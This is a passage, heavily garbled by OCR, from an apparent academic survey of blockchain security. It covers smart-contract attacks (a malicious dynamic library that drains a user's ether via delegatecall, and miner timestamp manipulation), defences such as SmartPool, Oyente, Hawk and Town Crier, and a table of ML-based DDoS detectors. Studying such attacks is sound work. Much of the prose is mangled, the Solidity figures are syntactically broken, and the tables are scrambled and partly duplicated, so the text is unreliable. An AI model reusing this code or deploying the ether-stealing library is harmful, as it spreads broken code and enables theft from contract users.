sender = msg.sender;

}
}

function update_Library(address argument) {
if (msg.sender==sender)

setLibAdd = argument;

}
function getLibAdd () returns (address) {
return LibAdd,;

}

}
library Set {

struct Info { mapping(uint => bool) flag; }
function insertion(Info storage selfinfo, uint agse
returns (bool) {

selfinfo.flag[asset] = true;

return true;

}
function remove(Info storage selfinfo, uint asset)
returns (bool) {

selfinfo.flags[asset] = false;

return true;

}
function contains(Info storage selflnfo, uint a}set
returns (bool) {

return selflnfo.flag[asset];

}

function versionNumber() returns(uint) { return}1;

}

Figure 31: Code for the dynamic libraries

Attack 3 In this attack, also miner (who in reality is thévarsary) impersonates to be a
contestant. Assuming the adversary joins the schenweder to become the last contestant in
one cycle, which executes for a minute, he can pudatie the block’s timestamp. For this he
has to set the new block’s timestamp minimum oneauiei later the present block’s
timestamp. Thus this attack exploits “time constisli vulnerability. In case the adversary,
publishes a new block which has deferred timestdrapnay end up being the last contestant
in a particular cycle and may win the prize.



5.6.11 Dynamic Librariedn this dynamic updation of library of tasks is feemed. Thus, in
case a bug is removed or a better implementationhigse tasks is deployed, the contract
may utilize the newer library version.In figure 34e can see that the contract’s proprietor
“Set_Provider” may utilize the function “updatabrary” for replacing the address of the
library with the address of the new library. Libraraddress can be fetched by every user
using “getLibAdd”. Some elementary set tasks arplemented by the “library Set”. A
library is a specific contract, which for instarmmentain immutable fields. If a client state an
interface as librarydelegatecallcan be used to making straight invocation its fiems. The
attributes,called“storage”, are passed by refereAssuming that “User” a Set_Provider’s
client who is legitimate. In figure 32, user reqgsedor the library version via
“getLibraryVersion” function.

library Set { function version() returns (uint); }
contract User {

Set_Provider public suppplier;

function User(address arguments) { supplier| =
Set_Provider(address); }

function getLibraryVersion() returns (uint) {
address setAddress = supplier.getLibAdd ();
return Set(setAddress).versionNumber();

3}

Figure 32: Code for legitimate User requesting for librarysien

Assuming the proprietary of Set_Provider is a nalis user, he may attack User for thieving
his ether. For this, we can see in figure 33 tinst fAttackingSet”, a new library is set by the
attacker and subsequently, “update_Library” of “®ebvider” is invoked for directing it to
“AttackingSet”.

library AttackingSet {
address constant attackerAdd = 0x42;
function versionNumber () returns(uinp)

attackerAdd.send(this.asset);
return 1;

1}

Figure 33: Code for the attack on the dynamic library

“AttackingSet” sends ether to the malicious uses. “Aser” has stated the library as Set
interface, straight invocation of the version ipldged asdelegatecall and therefore run in
the environment of “User”. Thus, “this.asset” i®us balance and therefore his entire ether
is transferred to the malicious user. After thisclaate version is returned by the function.
The function selfdestruct may be used for creaanmalicious library. It deactivates the
executing contract and sends its entire ether to smgecific address. Thus,
“attackerAdd.send(this.value);” can be replacedhwiselfdestruct(attackerAdd);”In this,
“unpredictable state” vulnerability is being expém, as User is unknown to the library
version that executes on using “Set_Provider”. Pphienary problem with libraries is the



existence of portions in code that can be updatgdpublishing the contract, thus permitting

the malicious user to change these parts accotditigem.

6. SECURITY ENHANCEMENTS IN BLOCKCHAIN

Till now, we have discussed about the working eflbthbockchain, which forms the base of the
bitcoin and ethereum network which are popular nétwof cryptocurrency. Then, we
studied about various vulnerabilities and attackgfggmed on these networks. Now, this
section summarizes the security improvements irig¢he of blockchain, that may be utilized
for the deployment of blockchain and hence imprtwe bitcoin and Ethereum networks.
Table XI shows few of the security enhancementbénarea of blockchain.

Table XI: Security Enhancement in the field of blockchain

Technique Primary | Key Problem on | Deployment | Contributions Shortcomings  or| Advantage
Focus Elements | which work is challenges
used done
SmartPool Smart Introduce In case oneg It is | (1)A solution for| (1) A pool may| Decentralized,
(Loi et al| Contract | new data| pool operator| implemented | distributed  pool| contain many| Efficiency,
[33]) structure governs more on core| mining is | shares, therefore the Secure
called than 50% of the network introduced contract many
augmented | mining power| using al (2) Distributed| receive many
Merkle tree | of the network,| community pool messages.
a 51% attack Project which| miningprotocol is| (2) In case feesfo
starts is crowd- | implemented  ag submitingone share
threatening thg funded smart contract. outweighs the|
Nakamotoconse (3) Ithas scalability] incentive received
nsus protocol’s and efficiency. StrawmanPool
security cangive negative
income to the
mining nodes.
(3) Any malicious
user may witness
transaction of othe
miners.
(4) No guarantee is$
provided by the
smart contract
executing in the
Bitcoin mining pool
for Bitcoin payment
Quantitative | PowW (1) a| The security is| (1) (1) The greater the Performance,
Framework blockchain | the affected in| Consensus | block incentive in Security
Arthur et al. instance case thel | ayer blockchain, greate
[139] 2) a performance_of (2) Network| is the resilience
. the blockchaing .
blockchain (based on PoW Layer against double
security is improved spend.
model. 2) gives
information to the
traders for
determining  the
number of

authentications td
avoid double




spend attack.
3) Ethereum
requires minimum
of 37 validations
for matching the|
security of the
Bitcoinwith six
block validations
against a maliciou$
user having 30%
mining power. In
the same way
Litecoin needs 2§
and Dogecoin
needs 47 block
validations.
(4) Examine the
effect of alteration
of size of the
block.
Oyente Smart This Miners in (1)1t records many 5411 contracts have (1)Bugs are
Loi et al| Contract | requires Ethereum mus security bug| mishandledexceptio, Removed
[134] two inputs-| follow few classespresent inNs (2)open
current rules while smart contracts of source
global state| taking part in Ethereum.
of the  network, (2) It gives some
Ethereum | however  the solutions for the
and the| exists high recorded bugs.
bytecode of| probability of ®) It g.lves
the alterations  of Oyentg, an virtua
contract. risk of not execution tool thaf
witnessing helps smart contagt
Dvice _of E_th.ereum for,
implementation |dent|fy!ng bugs.
4) implements
Oyente on
Ethereum  smar
contracts as well as
assures the attacks
which is possible
on real network of
Ethereum.
Hawk Smart The (1)On-chain Privacy-
Ahmed et al| Contract completeseries privacy -secures preserving
[136] of activities the privacy of the smart
which occur in parties involved in contracts
smart contract the contractfrom
in Ethereum are the public
broadcasted ir] (2)Contractual
the network and security-
stored in safeguards the
blockchain, parties involved in
thus they can be the same
read publicly. contractual
agreement
from one another
Town Crier | Smart The TC Internet Blockchain, | (1)gives a peer-to Smart
Zhang et al contract | Contract, | connection with| Town Crier | peer deploymen Contracts
a trustworthy




[137] the Enclave
and the
Relay

website can be
established
using HTTPS
and appears t
have given &
solution,
however the
Ethereum'’s
smart contract

cannot access$

the network.
Moreover, the
digital signature
in not present
for the out-of-
band
authentication
in HTTP
Protocol.

Serevr

of TC
(2)examineTC's
security in  the

structure of
Universal
Composability
(3)gives a

hybridized TCB
that spans the
blockchain as well
as an SGX
enclave.

(4)investigates the
three TC
applications which
displays TC's
ability for
supporting  wide
variety of services.

interact
external
sources

with
data

6.1 SmartPool: A mining pool having computational power greateart®0% exists which
threatens the distributed nature of blockchainsThiturn makes blockchain vulnerable to
various threats and attacks. Figure 34 illustrdtesvorking of a novel approach called smart
contract which was proposed by Loi et al. [33]. igas Ethereum users like parity [132],
geth [133] etc. send transactions to the SmartPdbkse transactions comprise of
information related to the mining job. Subsequeralyniner performs hash computation on
the basis of jobs and thereafter sends back thengudished shares to the smartpool user.
After the quantity of the accomplished shares bexoeqgual to some specific amount, the
shares will be dedicated to the smartpool contilts smartpool contract is implemented in
Ethereum and will also authenticate the sharesedisas provide incentives to the user. The
process is shown in figure 34.

Parity/Geth

Ethereum
User

Smartpool
contract

1. Txns @

Smartpool

Miner

Figure 34: Smartpool's Execution process

When we assess traditional peer-to-peer pool \espect to the SmartPool system, we come

across following advantages:

1) Distributed: Blockchain has smart contract implemented in ¢ &martPool is deployed
in terms of this smart contract. At first the mimenvolved associate with Ethereum for
mining through the user and the mining pool mayetiepon the consensus methodology



in Ethereum for execution. Thus, it guaranteegibisted behaviour of the pool miners. In
addition to this, pool operator is not required Eteereum supervises the state of the
mining pool.

2) Effectiveness The miners involved may transmit to smartpool cacttthe accomplished
shares in batches. Moreover, the miners are retjugetransmit only a portion of the
shares which have to be authenticated. Therefbue,etfectiveness and efficiency of
SmartPool is higher when compared to peer-to-peel. p

3) Security: SmartPool makes use of a new data structure htethe ability to avoid the
adversary from submitting the shares in variouch®sd. Moreover, the authentication
methodology of SmartPool assures that legitimateensi will get anticipated incentives
even if dishonest miners are present in the pool.

6.2 Quantitative Framework: It is used for analysis of performance, executind security
aspects of blockchains which is based on PoW ceusemethodology. As represented in
Figure 35, this framework consists of two main d¢dasnts- 1) blockchain stimulator 2)
security model. Simulator has consensus protoettitoute and network’s attribute as input
and performs execution of blockchain. By analysitige simulator, theblockchain’s
performance statistics can be gained. This alsludies throughput, network delays, block
propagation times, stale block rate, block siz&s, e
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Figure 35: Overview of quantitative framework
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Figure 36: Structural design and execution of Oyente
6.3 Oyente:Loi et al. [134] propositioned Oyente for detegtfiaults in the smart contract of
Ethereum. Oyente(open source[135]) makes use aflsied execution for analysing smart
contracts’ bytecode. As Ethereum incorporates sroantracts’ bytecode in blockchain,
detection of faults in the implemented smart cariranay be done by Oyente.
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Figure 36represents structural design and execusionedure of Oyente. There exist two
inputs-1) bytecode of smart contract 2) Globalest#t Ethereum. Initially, smart contract’s
bytecode is used by CFGC (Control Flow Graph Caoesr) for constructing CFG (Control
Flow Graph) for smart contract. This CFG, alonghwithereum state, is leveraged by
EXPLORER for execution. This will improve the CF@e few jump targets are variable
and are calculated during this execution. Subsdtyyethe output is supplied to CORE
ANALYSIS which leverages analysis algorithms foted#ing four vulnerabilities, which is
authenticated by VALIDATOR. Authenticated vulneddigias well as CFG will become the
output for the VISUALIZER, which may further be asky the clients for debugging as well
as for program analysis.

6.4 Hawk: Ahmed et al. [136] made a proposition Hawk, whishaiframework to develop
private smart contracts. With the help of Hawk, dexelopers may develop smart contracts
which are privacy-preserving, and there is no m&testo leverage code encryption
technique. Moreover, the information of economangaction is not explicitly recorded in the
blockchain.
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Figure 37: Structural design and Execution of Hawk
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The smart contract in Hawk consist of private andbligc sections. The private section

includes private data as well as codes relatedctmamic function and public section

includes that information which do not contain pter data. The process is shown in figure

37.

A smart contract in Hawk can be compiled in thrbages:

(1) Code to be executed in entities’ machines.

(2) Code to be executed by smart contract’s users.

(3) Code to be executed by a trusted entity in Hawkedaimanager, who can read the
private data of the smart contract but not revieal i

Apart from providing privacy from public, hawk alpoovides confidentiality among several

Hawk contracts. In case, Hawk protocol is abortganlanager, it is economically fined, and

the clients get reimbursement.
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Figure 38: Overview and working of Town Crier

6.5 Town Crier: Frequently,Smart contract requires communicatiorth woff-chain
information source. Zhang et al. [137] made a psitjmn of Town Crier, that is a validated
information feed system for information communioatiprocedure. Smart contract cannot
acquire information via HTTPS as they are not necti contact with the network. Town Crier
is a connection between external information squvdgich is HTTPS-enabled and smart
contract. The structural design of town crier isptiiyed in the Figure 38. Town Crier smart
contract is in fact front end of Town Crier struetuwhich behaves as an API in between
contract of the clients and Town Crier server. Memde of Town Crier is executing in the
Intel SGX enclave.

The primary focus of the Town Crier server is tguace information request from contracts
of the client as well as acquire information frohe ttargeted websites. Subsequently, the
Town Crier server returns blockchain messages, iwbtintain digital signature as datagram
to client’s contract. Town crier can secure thecpes which is demanding information. The
primary modules of the Town Crier are run on dmtted Ethereum, enclave which is SGX-
enabled, and websites which are HTTPS-enabled. dWergthe enclave deactivates internet
connectivity for maximizing security. The relay nubel has been constructed as a internet
communication hub which is utilized by the inforioat source websites, environment of
SGX enclave and smart contracts. Thus, it acqusedation between the execution of Town
Crier's main code and internet communication. Tinecfion of Town Crier is unaffected by
modification of internet communication packets omg attack on Relay module. Town crier
is inaugurated online for public service [138].Thable XII, summarize the various artificial
intelligence techniques based solutions proposedthay researchers for DDoS attack
detection

Table XII: Artificial Intelligence Techniques Based Solutioior DDoS Attack Detection

State-of-art Approaches Summary

Berral [142] Machine - The paper extends a framework proposed by zhar&pd6 to

used

learning, Naive detect/prevent DDoS flood attacks based on madbareing




Bayes

nodes in an intermediate network share informa#ibaut thein
local traffic observations, improving their globaraffic
perspective

Kiruthika
[143]

Machine
learning, SVM

The Spoofed traffic detection module incorporatep bount
inspection algorithm (HCF) to check the authenticdf
incoming packet

OMS (online monitoring system) provides DDoS imp
measurements in real time by monitoring the dediawalan
host and network performance metrics

HCEF is coupled with SVM - accuracy ~ 98.99%

Zhao [144]

neural network
Hadoop

develop a DDoS detection system with learning céipatio
adapt to new types of DDoS attacks

ability to store and analyze a huge unstructurédses collected
from network logs

a list of training samples is developed to traim tieural networl

act

Ndibwile
[145]

ML

makes use of real web server, Bait server, and YDeoeb
servers to distinguish DDoS traffic from normalffia

A Custom Intrusion Prevention System (IPS) is ushith used
rules generated by a random tree machine leardogyitam
using supervised learning

Robinson
[146]

ML

Aim - to capture DDoS attacks using ML Algorithms
Provides Evaluation / Ranking of some supervised
algorithms with the aim of reducing type | / typk drrors,
increasing precision and recall while maintainingtedtion
accuracy

Performance evaluation is done using Multi Critebacision
Aid software called Visual PROMETHEE

ML

Heish [147]

Neural
Network,
Hadoop

Proposes DDoS detection method based on Neuralddetyw
implemented in the Apache Spark cluster

Use of 2000 DARPA LLDOS 1.0 dataset to train andgren
experiments to the detection system in a real nétwo
environment

Avg detection rate- over 94%

Meitei [148]

ANN

Detection using Decision Tree (TREE), Multi Layar&ptron
(MLP), Naive Bayes (NB) and Support Vector Machi8¥ M)
to classify the DNS traffics into normal and abnatm
Attribute selection algorithms such as Informat@ain, Gain
Ratio and Chi Square are used to achieve optirasiife subset
99.3% accuracy

Fouladi [149]

ML, Naive
Bayes

Uses a Naive Bayes classifier with two frequencgeblamethods
of discrete Fourier transform and discrete waviedatsform in
order to separate between attack and normal tsaffic

Ramadhan
[150]

Artificial
immune system

designs a TCP flood DDoS detection system whichs
Artificial Immune System(AIS)

Uses dendritic cell algorithm (DCA)

The DCA is also designed to solve the problem itwoek

LiSe




intrusion detection
PerakoviE ANN artificial neural network(ANN) architecture to deteDDoS
[151] attack.

- Traffic are classified as four kinds -- class-DR®0S attacK
traffic, chargen DDoS attack traffic, UDP DDoS akéraffic
and normal traffic.

Xuan [152] Deep Learning - Deep Learning based detection algorithm - DeepBefen
CNN, RNN - A recurrent deep neural network to learn patternsmf
sequences of network traffic and trace networlchtéetivities

6.6 Future Trends: According to the above-mentioned methodical sueyplockchain and
its challenges, we concluded with the followingdiimgs of future areas in which efforts can
be put in research directions.

« Currently, PoW is one of the most extensively el consensus methodology which is
being implemented in blockchain. However, a lot@imputing resources are being wasted
in PoW. For finding solution of this issue, a hybdonsensus methodology of Proof-of-
Work and Proof-of-Stake mechanisms is being dewslopy Ethereum. Performing
research and coming forward with more effectivesemsus methodology may lead to
significant contribution for the advancement of teehnology of blockchain.

- With the increase in the amount of decentralizepliegtions which are rich in features,
there is also an increase in risk of privacy leakad decentralized application and
communication process that exists between the tatieed application and the network,
both face the issue of privacy leakage. Some solstio these issues are: application
hardening, code complication, execution trustedpaing (e.g., Intel SGX), etc.

« A lot of data is produced by the blockchain but mdit data that is recorded in the
blockchain is authentic. Example, SUICIDE and SEESIYRUCT may be used by smart
contract for erasing its code, however the smaritreot's address is not deleted.
Moreover, many contracts either do not contain codéhe code is exactly same as in
Ethereum, moreover some contracts may have not é@escuted even once after it was
deployed. An effective data recognition and clegnimethodology is required for
improving the efficiency of execution of blockchain

7. CONCLUDING REMARKS

Recently, blockchain is extremely valued and recemied due to its peer-to-peer nature
and decentralized structure. Nevertheless, numstudissrelated to blockchain were only
restricted to Bitcoin. However, blockchain could fiealized in numerous areas, which fall
outside the boundary of Bitcoin. Many times, bldwkin has revealed its capabilities for
converting conventional IT sector area with itsesal/features: decentralization, persistency,
privacy and auditability. In this survey articlégtauthors have tried to provide a systematic
and comprehensive survey of blockchain initiallypleitly highlighting the structure of
network of blockchain and the lifecycle of transags$ involved in a cryptocurrency network.



The authors also includednumerous technologiesiiadoin blockchain like consensus
methodologies, forks and also facilitates with gadied discussion on smart contract which
acts as a treaty among disbelieving members ankbimgmted by the blockchain’s consensus
methodologies. A detailed taxonomy of blockchaianfprising public blockchain, private
blockchain, etc.) clearly highlighting their featar and real-world applications is also
presented along with their detailed comparison-thasalysis.

The authors also explain numerous key platformsblotkchain (like bitcoin, litecoin,
ethereum, hyperledger, etc.) along with their conspa-based analysis based on some
useful parameters (like consensus algorithms ireavblockchain type, etc.). Existing
security issues and challenges of blockchain sysismlso investigated in this article along
with the key factors hampering the performance xéteng blockchain systems. Several
emerging vulnerabilities of bitcoin and ethereuror (€.9., double spending attack, finney
attack, vector 76 attack, etc.) is also discuseddlis article. Finally, the authors summarizes
the security improvements in the field of blockehahat may be utilized for the deployment
of blockchain and hence, improves the bitcoin atmreum networks. The authors would
like to carry forward their research on the smaritract languages as a part of future work,
since several real-world applications is somewhé&tasible to implement precisely using
such emerging platforms of smart contract languages
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List of Newly Added/Revised Tables

Table II: Types of consensus algorithm and their comparisons

Consensus | Tendermint | Delagated | Ripple Proof of | Proof Practical Proof of | Proof of | Proof of
Algorithms Proof of Stake of Byzantine | Burn Capacity | Elapsed Time
Stake Work Fault
Tolerance
Parameters
Example Tendermint| Bitshareg Ripple Peercqin  BitcoiHyperledger| Slimcoin | Burst Sawtooth
Fabric Coin
Threshold 33.33% 33.33% 20% 51% 25% 33.33% 23% 27% 25%
for attack malicious Malicious | Malicious | Hash hash Malicious Hash Malicious | hash power
Nodes Nodes Nodes power power | nodes Power Nodes
Knowledge Validators None None None None Miners Miners None Validators
of Node
Identity
Energy Low Moderate Low Moderate  High Low Moderate| High High
Consumption

Table I1ll: Comparison-based analysis between permissionleskdflain, permissioned blockchain and
centralised system

Parameters Permissioned Blockchain| Centralised Systn | Permissionless Blockchain
Consensus Byzantine Fault N PoW, PaoS, etc.
Technique Tolerance(BFT)

No. of Untrusted| L N H

Writers

Central Control | Yes Yes No

No. of Readers H H H

No. of Writers L H H

Jitter M H L

Efficiency H E L

Scalability M H M

Throughput H H L

Verification H L M

Speed

L — Low, H — High, M — Moderate, E — Extreme, N ori¢,

Table IV: Types of blockchains and their comparisons

Private blockchain Consortium blockchain | Public blockchain

Throughput High High Less

Participation in ConsensysAuthentication required | Authentication required Bentication not
Process required

Central Authority Complete Partial Decentralized
Transaction Mutability Alteration is possible Cam @tered Cannot be tampered
Read Access Decided by organisation  Decided bynisgion | Public

Block Authentication Specific organisation Selectedies All

Asset Any Asset Native Asset Native Asset
Security Pre-approved Proof of Work Proof of Stack




participants
Identity Known ldentities Pseudonymous Anonymous
Speed Faster Slower Slower
Applications Multichain, Blockstack Ripple, R3 Baio, Ethereum,
Factom

Table VI: Comparison and contrast between some cryptocug®gaeid hyperledger

Hyperledger

Language Java, Golang Python, Golang C++
Cryptocurrency | None, but can | Ether Bitcoin
Used be implemented
when required
Consensus PBFT PoW (Ethash) PoW (SHA 256)
Methodology
Smart Contract | Yes (chaincode] Yes (Solidity) None
& Language
Network Type Permissioned Public Public
Confidentiality | Confidential Transparent Transparent
Transactions Transactions Transactions
Business Preferred Platform for B2C| Preferred
Platforms platform for businesses and | platform for B2B
B2B businesseq generalized businesses
applications
Mode of Peer | Private and Public/Private Public/Private
Participation Permissioned | and and
Network Permissionless | Permissionless
Network Network

Table XII : Artificial Intelligence Techniques Based Soluticior DDoS Attack Detection

State-of-art Approaches Summary
used
Berral [142] Machine - The paper extends a framework proposed by zharZ)@®6 to
learning, Naive detect/prevent DDoS flood attacks based on madeareing
Bayes - nodes in an intermediate network share informasibaut their
local traffic observations, improving their globataffic
perspective
Kiruthika Machine - The Spoofed traffic detection module incorporatep hount
[143] learning, SVM inspection algorithm (HCF) to check the authenticif
incoming packet
-  OMS (online monitoring system) provides DDoS imp
measurements in real time by monitoring the dediawalan
host and network performance metrics
- HCF is coupled with SVM - accuracy ~ 98.99%
Zhao [144] neural network, - develop a DDoS detection system with learning céipaltio
Hadoop adapt to new types of DDoS attacks

act



ability to store and analyze a huge unstructuredse# collected
from network logs
a list of training samples is developed to traim tieural network

Ndibwile
[145]

ML

makes use of real web server, Bait server, and D&oeb
servers to distinguish DDoS traffic from normalffia

A Custom Intrusion Prevention System (IPS) is usbith useq
rules generated by a random tree machine learryitlim
using supervised learning

Robinson
[146]

ML

Aim - to capture DDoS attacks using ML Algorithms
Provides Evaluation / Ranking of some supervised
algorithms with the aim of reducing type | / typk drrors,
increasing precision and recall while maintainingtedtion
accuracy

Performance evaluation is done using Multi Critebacision
Aid software called Visual PROMETHEE

ML

Heish [147]

Neural
Network,
Hadoop

Proposes DDoS detection method based on Neuralddetyw
implemented in the Apache Spark cluster

Use of 2000 DARPA LLDOS 1.0 dataset to train andgren
experiments to the detection system in a real métwo
environment

Avg detection rate- over 94%

Meitei [148]

ANN

Detection using Decision Tree (TREE), Multi Layeré&eptron
(MLP), Naive Bayes (NB) and Support Vector Mach(8¥ M)
to classify the DNS traffics into normal and abnatm
Attribute selection algorithms such as Informat@®ain, Gain
Ratio and Chi Square are used to achieve optirasilife subset
99.3% accuracy

Fouladi [149]

ML, Naive
Bayes

Uses a Naive Bayes classifier with two frequencgeblamethods
of discrete Fourier transform and discrete waviedatsform in
order to separate between attack and normal tsaffic

Ramadhan
[150]

Artificial
immune system

designs a TCP flood DDoS detection system whichs
Artificial Immune System(AIS)

Uses dendritic cell algorithm (DCA)

The DCA is also designed to solve the problem ibwoek
intrusion detection

LiISe

PerakoviE
[151]

ANN

artificial neural network(ANN) architecture to deteDDoS
attack.

Traffic are classified as four kinds -- class-DR®0S attack
traffic, chargen DDoS attack traffic, UDP DDoS akéaraffic
and normal traffic.

Xuan [152]

Deep Learning
CNN, RNN

Deep Learning based detection algorithm - DeepBefen
A recurrent deep neural network to learn patternsmi

sequences of network traffic and trace networlchtéativities
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